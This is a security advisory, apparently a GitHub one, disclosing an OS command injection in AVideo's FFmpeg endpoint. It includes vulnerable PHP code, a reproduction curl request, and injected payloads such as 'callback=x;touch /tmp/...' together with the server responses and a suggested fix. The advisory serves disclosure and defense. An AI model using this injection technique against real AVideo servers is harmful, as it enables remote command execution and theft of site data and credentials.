Skip to content

OS command injection in plugin/API/standAlone/ffmpeg.json.php via unescaped notifyCode/callback fields in the execAsync completion hook

High
DanielnetoDotCom published GHSA-g9x9-q7qj-6mv5 Jul 1, 2026

Package

composer wwbn/avideo (Composer)

Affected versions

<= 29.0

Patched versions

None

Description

Summary

The standalone FFmpeg execution endpoint plugin/API/standAlone/ffmpeg.json.php builds a shell command string that is passed to execAsync() and run via nohup sh -c "<command>". When the decrypted codeToExec payload produces a non-empty avideoPath, the endpoint appends a completion hook of the form:

 && php <script> notify=<escaped-json> notifyCode=<codeToExec->notifyCode> callback=<codeToExec->callback>

The notify value on this line is wrapped with escapeshellarg(), but the two adjacent fields notifyCode and callback are concatenated raw. Both fields originate from the same decrypted, attacker-controlled codeToExec object as ffmpegCommand, but neither passes through the sanitizeFFmpegCommand() denylist (only ffmpegCommand does) and neither is shell-escaped. An attacker who can craft a valid encrypted payload can therefore inject arbitrary shell commands into the sh -c context by placing shell metacharacters in callback or notifyCode, achieving OS command execution as the web-server user.

This is a residual sibling of the recently hardened sanitizeFFmpegCommand() denylist: the denylist now strips ; | < > & $ ( ) \n \r { }fromffmpegCommand, but the two sibling fields on the same completion-hook line were never routed through it nor escaped, even though the notify` value beside them on the very same line already is escaped.

Vulnerable code

plugin/API/standAlone/ffmpeg.json.php (master HEAD, around lines 406-412):

if (!empty($output['avideoPath'])) {
    if (file_exists($output['avideoPath'])) {
        unlink($output['avideoPath']);
    }
    $outputJson = escapeshellarg(json_encode($output));
    $ffmpegCommand .= " && php " . escapeshellarg(__DIR__ . "/ffmpeg.json.php") . " notify={$outputJson} notifyCode={$codeToExec->notifyCode} callback={$codeToExec->callback}";
}

$outputJson is escaped; $codeToExec->notifyCode and $codeToExec->callback are interpolated raw.

The only field that is sanitized earlier is ffmpegCommand (line ~129):

$ffmpegCommand = !empty($codeToExec->ffmpegCommand) ? sanitizeFFmpegCommand($codeToExec->ffmpegCommand) : '';

sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php, line ~105) strips shell metacharacters:

$command = preg_replace('/[;|`<>&$()\n\r{}]/', '', $command);

notifyCode / callback never touch this function.

The composed string flows to execAsync() in objects/functionsExec.php (around line 705), which runs it via sh -c:

$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";
exec($commandWithKeyword, $output, $retval);

addcslashes($command, '"') earlier in execAsync() escapes only double quotes, not ;, $(...), backticks, etc., so injected metacharacters in notifyCode / callback reach the shell intact.

Reachability

The completion-hook branch (&& php ... notify=) runs only when $output['avideoPath'] is non-empty. avideoPath is set by the regex at line ~146:

preg_match('/ [\'"]?(\/[0-9a-z_\/-]+\/videos\/([0-9a-z_\/-]+)\/([0-9a-z_-]+\.(mp4|mp3)))[\'"]?/i', $ffmpegCommand, $matches);

This is trivially satisfied by including a benign /.../videos/<dir>/<name>.mp4 output path in ffmpegCommand (a normal FFmpeg command already contains one). The malicious callback / notifyCode need no metacharacter-free constraint because they bypass the denylist entirely.

Privilege required

Same trust boundary as the parent command-injection fix in this file: an attacker who can craft a valid encrypted codeToExec payload with a valid APISecret. _decryptString() calls the platform decryptString API, which runs encrypt_decrypt() (AES-256-CBC; key = hash('sha256', $global['saltV2']), iv = substr(hash('sha256', $global['systemRootPath']), 0, 16)). The decrypted payload is accepted when payload->time is within the last 30 seconds. The endpoint requires no interactive login.

Reproduction (end-to-end, against master HEAD)

Deployed the master HEAD source (commit 8eaca9d5, dated 2026-06-30) in a PHP 8.2 / Apache container backed by MySQL 8.0, ran the genuine platform installer (install/checkConfiguration.php) which created the database from install/database.sql and wrote videos/configuration.php with a freshly generated salt / saltV2, and enabled the API plugin. The decryptString and isAPISecretValid platform APIs were confirmed live over HTTP. APISecret is md5($global['salt'] . $global['systemRootPath'] . 'API') and matched the value stored by the plugin.

A codeToExec object was encrypted exactly as the platform does (encryptString()), with:

  • time = now
  • ffmpegCommand = ffmpeg -i /var/www/html/AVideo/videos/x/in.mp4 -c copy /var/www/html/AVideo/videos/x/out.mp4 (contains an avideoPath so the completion hook fires)
  • callback = x;touch /tmp/avideo_cb_rce_1782909419_26863

POST to the endpoint:

curl -s -X POST "http://<host>/plugin/API/standAlone/ffmpeg.json.php" \
  --data-urlencode "APISecret=<APISecret>" \
  --data-urlencode "codeToExecEncrypted=<encrypted codeToExec>"

Verbatim response (note the composed command: notify='{...}' is escaped, but callback=x;touch /tmp/... is raw):

{"error":false,"msg":"Command executed","command":"ffmpeg -i /var/www/html/AVideo/videos/x/in.mp4 -c copy /var/www/html/AVideo/videos/x/out.mp4 -metadata keyword='kwtest' > /var/www/html/AVideo/videos/ffmpegLogs/ffmpeg_kwtest.log  && php '/var/www/html/AVideo/plugin/API/standAlone/ffmpeg.json.php' notify='{\"avideoPath\":\"/var/www/html/AVideo/videos/x/in.mp4\",\"avideoRelativePath\":\"videos/x/in.mp4\",\"avideoFilename\":\"x\",\"videoBasename\":\"in.mp4\",\"avideoExstension\":\"mp4\"}' notifyCode=nc1 callback=x;touch /tmp/avideo_cb_rce_1782909419_26863 2>&1","pid":17212,"logFile":"/var/www/html/AVideo/videos/ffmpegLogs/ffmpeg_kwtest.log"}

The injected touch ran (marker created by the web-server user):

-rw-r--r-- 1 www-data www-data 0 Jul  1 12:40 /tmp/avideo_cb_rce_1782909419_26863

The same result holds with the payload in notifyCode instead of callback:

... notifyCode=x;touch /tmp/avideo_nc_rce_1782909675_26515 callback=cb1 2>&1
-rw-r--r-- 1 www-data www-data 0 Jul  1 12:41 /tmp/avideo_nc_rce_1782909675_26515

Negative control 1 (benign callback=benigncallback, no metacharacters): same code path, marker NOT created:

... notifyCode=benignnotify callback=benigncallback 2>&1
ls: cannot access '/tmp/avideo_neg1_1782909646_19909': No such file or directory

Negative control 2 (the same ;touch payload placed inside the guarded ffmpegCommand field instead): sanitizeFFmpegCommand() strips the ;, so no injection occurs and the marker is NOT created. The composed command shows the semicolon removed (out.mp4touch /tmp/...), proving the gap is specific to the two unguarded sibling fields:

command: ...out.mp4touch /tmp/avideo_neg2_1782909660_14042 -metadata keyword='kwtest'...
ls: cannot access '/tmp/avideo_neg2_1782909660_14042': No such file or directory

Patched re-run (after applying the fix below): the payload is now single-quoted by escapeshellarg() and the marker is NOT created:

... notifyCode='nc1' callback='x;touch /tmp/avideo_cb_rce_PATCHED_1782909755_8511' 2>&1
ls: cannot access '/tmp/avideo_cb_rce_PATCHED_1782909755_8511': No such file or directory

Impact

Arbitrary OS command execution on the AVideo host as the web-server user (the same user that owns the application files and configuration, including the database credentials and saltV2). From there an attacker can read and modify site data, pivot to the database, and persist. This is the full-severity command-execution outcome, reached through a field that the current sanitizer does not cover.

Suggested fix

Escape both sibling fields with escapeshellarg(), mirroring the existing $outputJson = escapeshellarg(...) on the same line:

$ffmpegCommand .= " && php " . escapeshellarg(__DIR__ . "/ffmpeg.json.php")
    . " notify=" . $outputJson
    . " notifyCode=" . escapeshellarg((string)$codeToExec->notifyCode)
    . " callback=" . escapeshellarg((string)$codeToExec->callback);

Equivalently, route notifyCode and callback through the same allowlist/denylist used for ffmpegCommand. Escaping at the concatenation site is preferred because it is the shell-quoting boundary and cannot be bypassed by later transformations.

Credit

Reported by tonghuaroot.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-63494

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits